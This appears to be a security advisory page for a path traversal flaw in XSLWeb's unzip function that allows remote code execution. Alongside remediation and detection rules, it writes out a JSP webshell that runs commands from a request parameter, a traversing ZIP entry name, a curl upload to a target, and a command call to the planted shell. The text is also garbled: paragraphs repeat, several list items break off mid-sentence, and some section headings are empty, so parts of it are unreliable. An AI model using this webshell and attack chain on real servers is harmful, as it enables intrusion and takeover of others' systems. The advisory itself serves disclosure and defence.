CVE-2026-139872 — Armatiek XSLWeb — CWE-22
Armatiek XSLWeb through 4.2.0 contains a path traversal vulnerability in the unzip XPath extension function that allows attackers to write files outside the extraction directory via crafted archive entries. Attackers can supply archives with ../ sequences or absolute paths processed by ZipUtils.unzipStream() to overwrite XSLT stylesheets in webapp directories, leading to remote code execution.
Armatiek XSLWeb through 4.2.0 contains a path traversal vulnerability in the unzip XPath extension function that allows attackers to write files outside the extraction directory via crafted archive entries. Attackers can supply archives with ../ sequences or absolute paths processed by ZipUtils.unzipStream() to overwrite XSLT stylesheets in webapp directories, leading to remote code execution.
🎯 What is this vulnerability?
CVE-2026-139872 is a critical Path Traversal (CWE-22) vulnerability in the Armatiek XSLWeb application, specifically affecting versions up to and including 4.2.0.
The core technical flaw resides in the unzip function of the XPath extension library, specifically within the ZipUtils.unzipStream() method. This function is responsible for extracting files from ZIP archives provided by the user. The vulnerability arises because the application fails to properly sanitize or validate the file paths contained within the ZIP archive entries before writing them to the filesystem.
Specifically, the implementation lacks a check to ensure that the resolved destination path remains within the intended extraction directory. An attacker can craft a ZIP archive containing entries with:
1. Relative path traversal sequences (e.g., ../../etc/passwd or ../../../webapp/WEB-INF/web.xml).
2. Absolute paths (e.g., /var/www/html/shell.jsp), which some unzip implementations may process if not explicitly stripped.
Because the application runs with sufficient privileges to write to the web application directory, an attacker can overwrite critical files, such as XSLT stylesheets or JSP/Servlet configuration files, with malicious content. This leads directly to Remote Code Execution (RCE).
CVSS 4.0 Vector Analysis:
- AV:N (Network): Exploitable remotely.
- AC:H (High Complexity): Requires crafting a specific ZIP structure with valid traversal paths that bypass any existing (but insufficient) filters.
- UI:N (No User Interaction): No victim action required.
- VC:H, VI:H, VA:H: High impact on Confidentiality, Integrity, and Availability of the vulnerable system.
- Fingerprinting: The attacker identifies the target as running Armatiek XSLWeb. This can be done by: * Checking HTTP headers for
- Version Verification: The attacker confirms the version is ≤ 4.2.0. This might be done by: * Checking the
- Entry Name in ZIP:
../../../webapp/WEB-INF/webshell.jsp - File Content: A simple JSP webshell:
AT:P (Privileged User Required for Attack): The vector indicates that the attacker must have some level of privilege or access to trigger the unzip function (e.g., authenticated upload endpoint or a specific API call that processes archives). Note: While PR:N is listed in the vector string provided, the description implies an interaction with the
unzip function which is typically not exposed to unauthenticated users in standard XSLWeb deployments. However, strictly following the provided vector PR:N, we assume the endpoint is accessible without authentication, or the "Privileged" aspect refers to the target system's context. Given the PR:N in the vector, we will treat this as unauthenticated exploitation for the worst-case scenario, but note that real-world deployment might restrict this to authenticated users.*⚡ Attack Chain
1. Discovery & Reconnaissance
Server: XSLWeb or specific error pages.
* Looking for default paths like /xslweb/ or /admin/.
* Using tools like whatweb or nmap with NSE scripts to detect the service.
X-Powered-By header.
* Accessing a version file if exposed (e.g., /version.txt).
* Observing specific UI elements or API responses unique to older versions.2. Exploitation
The attacker crafts a malicious ZIP archive. The ZIP file contains a file entry with a path that traverses out of the expected extraction directory and targets a writable location within the web root.Illustrative Payload Construction:
The attacker creates a ZIP file named malicious.zip containing a single file.
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>Exploitation Mechanism:
The attacker sends this ZIP file to the vulnerable endpoint that triggers ZipUtils.unzipStream(). Since the exact endpoint URI is not specified in the CVE description, the following is an illustrative example of how such an endpoint might be structured in a typical XSLWeb application (e.g., an upload or import function):
# Illustrative curl command
# Assumption: The endpoint /xslweb/import accepts a ZIP file via multipart/form-data
# The parameter name 'file' is illustrative.
curl -X POST "http://target.com/xslweb/import" \
-F "[email protected]" \
-H "Content-Type: multipart/form-data"Technical Breakdown of the Exploit:
1. The server receives malicious.zip.
2. The application calls ZipUtils.unzipStream() to extract the contents.
3. The unzip routine reads the entry name: ../../../webapp/WEB-INF/webshell.jsp.
4. Due to the lack of path sanitization, the routine resolves this path relative to the current working directory or the intended extraction directory.
5. The resolved path points to /var/www/html/webapp/WEB-INF/webshell.jsp (assuming the web root is /var/www/html).
6. The file is written to this location, overwriting or creating the JSP file.
3. Post-Exploitation
1. Webshell Access: The attacker accesses the newly created webshell:curl "http://target.com/xslweb/WEB-INF/webshell.jsp?cmd=whoami"Note: Depending on the servlet container configuration, files in WEB-INF might not be directly accessible via URL. If so, the attacker would target a different path, such as ../../../webapp/shell.jsp (outside WEB-INF), which is more likely to be directly executable.
2. Command Execution: The attacker executes arbitrary system commands via the cmd parameter.
3. Privilege Escalation: Depending on the user account running the web server (e.g., www-data), the attacker may attempt to escalate privileges using local exploits or by modifying system files.
4. Persistence: The attacker can install additional backdoors, modify XSLT stylesheets to inject malicious code into all responses, or exfiltrate sensitive data.
🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Upgrade
2. Workarounds
unzip XPath extension function or the specific endpoint that triggers it. This can be done by modifying the application configuration or removing the relevant JAR/class files if the application allows.SecRule REQUEST_FILENAME "@rx \.zip$" \
"id:100001,phase:2,deny,status:403,msg:'Blocked ZIP upload with potential path traversal',log"
SecRule FILES "@rx \.\./" \
"id:100002,phase:2,deny,status:403,msg:'Blocked file with path traversal in name',log" Note: WAF rules are not a complete solution and should be used in conjunction with other mitigations.*
3. Detection
.zip files.POST /xslweb/import HTTP/1.1 with Content-Type: multipart/form-data.
.jsp, .php, .asp, or .war.auditd (Linux) or Sysmon (Windows) to monitor file creation events.
* Example Audit Rule (Linux):-w /var/www/html/ -p wa -k webshell_creation⚠️ Urgency
FOFA Query